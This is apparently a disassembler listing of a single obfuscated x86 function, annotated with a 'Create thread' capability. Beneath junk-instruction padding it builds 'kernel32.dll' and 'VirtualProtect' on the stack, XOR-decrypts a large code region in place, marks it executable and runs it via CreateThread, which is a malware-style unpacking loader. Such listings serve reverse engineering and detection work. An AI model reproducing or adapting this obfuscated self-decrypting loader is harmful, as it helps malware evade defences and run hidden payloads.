Function at 0x121a289
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
push ebx
add esp, 4
popfd
call fcn.0121a64a
push ebx
pop ebx
push edi
pop edi
lea eax, [ebp - 0xd8]
xchg ecx, ecx
mov ebx, 0x61
pushfd
inc edi
dec edi
popfd
xchg edi, edi
add bx, 0xa
push edx
pop edx
mov word [eax], bx
xchg esi, esi
mov ebx, ebx
sub bx, 6
push eax
push edi
pop edi
pop eax
xchg edx, edx
mov word [eax + 2], bx
mov eax, eax
add bx, 0xd
xchg edx, esi
xchg esi, edx
mov word [eax + 4], bx
xchg edx, edx
sub bx, 4
xchg edx, edx
mov word [eax + 6], bx
pushfd
xor edx, 0x7298d653
xor edx, 0x7298d653
popfd
pushfd
push ecx
add esp, 4
popfd
sub bx, 9
push ecx
pop ecx
pushfd
inc eax
dec eax
popfd
mov word [eax + 8], bx
pushfd
push 0xe2f72531
add esp, 4
popfd
mov edx, edx
add bx, 7
pushfd
push 0xed35be60
add esp, 4
popfd
mov word [eax + 0xa], bx
push eax
push edi
pop edi
pop eax
sub bx, 0x39
xchg ecx, ecx
mov word [eax + 0xc], bx
pushfd
xor esi, 0x357b8a55
xor esi, 0x357b8a55
popfd
xchg edx, esi
xchg esi, edx
dec bx
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 0xe], bx
pushfd
inc eax
dec eax
popfd
pushfd
inc edx
dec edx
popfd
sub bx, 4
xchg ecx, ecx
xchg esi, ecx
xchg ecx, esi
mov word [eax + 0x10], bx
xchg ecx, ecx
add bx, 0x36
push edi
pop edi
mov word [eax + 0x12], bx
xchg edi, ecx
xchg ecx, edi
add bx, 8
pushfd
push ecx
add esp, 4
popfd
xchg edi, ebx
xchg ebx, edi
mov word [eax + 0x14], bx
push eax
pop eax
pushfd
push 0x9f19f4b2
add esp, 4
popfd
mov word [eax + 0x16], bx
nop
mov word [eax + 0x18], 0
xchg ebx, ecx
xchg ecx, ebx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
mov esi, esi
mov dword [ebp - 0x10], eax
pushfd
inc ecx
dec ecx
popfd
lea eax, [ebp - 0xd8]
push ecx
pop ecx
mov ebx, 0x61
pushfd
push 0x65c0da3d
add esp, 4
popfd
push eax
push ecx
pop ecx
pop eax
sub bl, 0xb
push ebx
pop ebx
mov byte [eax], bl
pushfd
inc ecx
dec ecx
popfd
xchg ecx, esi
xchg esi, ecx
add bl, 0x13
pushfd
push 0xcd7bba5
add esp, 4
popfd
pushfd
push 0xcf9e2d38
add esp, 4
popfd
mov byte [eax + 1], bl
pushfd
inc ebx
dec ebx
popfd
add bl, 9
pushfd
inc ebx
dec ebx
popfd
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 2], bl
pushfd
xor edx, 0x46413d39
xor edx, 0x46413d39
popfd
pushfd
push 0x6f3c589c
add esp, 4
popfd
add bl, 2
pushfd
push 0x163fdb7a
add esp, 4
popfd
mov edx, edx
mov byte [eax + 3], bl
pushfd
push 0xbb72ce9e
add esp, 4
popfd
inc bl
xchg edx, eax
xchg edx, eax
mov edx, edx
mov byte [eax + 4], bl
xchg edx, edx
xchg edx, edx
sub bl, 0x14
pushfd
push 0x7a31ad9
add esp, 4
popfd
push ecx
pop ecx
mov byte [eax + 5], bl
xchg edi, edi
add bl, 0xb
mov edi, edi
mov edx, edx
mov byte [eax + 6], bl
push esi
pop esi
sub bl, 0x1c
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 7], bl
pushfd
xor edi, 0x7c9ebbae
xor edi, 0x7c9ebbae
popfd
add bl, 0x22
xchg ecx, edi
xchg edi, ecx
mov byte [eax + 8], bl
push eax
push ebx
pop ebx
pop eax
sub bl, 3
push edi
pop edi
mov byte [eax + 9], bl
pushfd
push esi
add esp, 4
popfd
add bl, 5
xchg esi, ebx
xchg ebx, esi
nop
mov byte [eax + 0xa], bl
pushfd
inc esi
dec esi
popfd
nop
sub bl, 0xf
pushfd
push 0xea512596
add esp, 4
popfd
mov byte [eax + 0xb], bl
xchg ecx, ecx
pushfd
inc ebx
dec ebx
popfd
sub bl, 2
pushfd
push 0xd7855182
add esp, 4
popfd
mov byte [eax + 0xc], bl
pushfd
xor ecx, 0x6f6ae6f1
xor ecx, 0x6f6ae6f1
popfd
push esi
pop esi
add bl, 0x11
pushfd
inc ebx
dec ebx
popfd
pushfd
push 0x350e7b7a
add esp, 4
popfd
mov byte [eax + 0xd], bl
pushfd
push 0x5c2c9dc9
add esp, 4
popfd
push eax
pop eax
mov byte [eax + 0xe], 0
push ebx
pop ebx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push eax
push esi
pop esi
pop eax
mov ebx, ebx
mov dword [ebp - 0xc], eax
push edx
push edi
pop edi
pop edx
lea eax, [ebp - 8]
push edi
push ecx
pop ecx
pop edi
pushfd
inc eax
dec eax
popfd
push eax
push 4
push 0x9661a7
push entry0
call dword [ebp - 0xc]
pushfd
xor edi, 0xa5d3381f
xor edi, 0xa5d3381f
popfd
mov edi, entry0
pushfd
push 0xea6ffa23
add esp, 4
popfd
mov esi, 0x40100e
pushfd
xor esi, 0x476c9003
xor esi, 0x476c9003
popfd
mov ecx, 0x9661a7
push edx
pop edx
mov edx, 0xd9b130e5
push edi
pop edi
pushfd
push esi
add esp, 4
popfd
mov ebx, 0x560fc29d
pushfd
push 0xef1e539a
add esp, 4
popfd
cld
mov ecx, ecx
lodsb al, byte [esi]
xchg ebx, ebx
xor al, dl
mov edx, edx
stosb byte es:[edi], al
xchg edi, edi
ror edx, 5
mov edx, edx
imul edx, edx, 7
xchg ecx, ecx
test ebx, 1
xchg ecx, ecx
je 0x121a5c0
mov ecx, ecx
add esi, 1
mov edx, edx
ror ebx, 1
mov esi, esi
dec ecx
mov edx, edx
test ecx, ecx
nop
jne 0x121a599
xchg esi, eax
xchg esi, eax
pushfd
push 0x96e0fc97
add esp, 4
popfd
lea eax, [ebp - 8]
push edi
push esi
pop esi
pop edi
pushfd
push 0xf47c62ef
add esp, 4
popfd
push eax
push 0x20
push 0x9661a7
push entry0
call dword [ebp - 0xc]
pushfd
inc ecx
dec ecx
popfd
lea eax, [ebp - 4]
mov esi, esi
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
push esi
push edx
pop edx
pop esi
xchg esi, edi
xchg edi, esi
xchg edi, edi
nop
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push 0xa06f33bc
add esp, 4
popfd
jmp 0x121a61e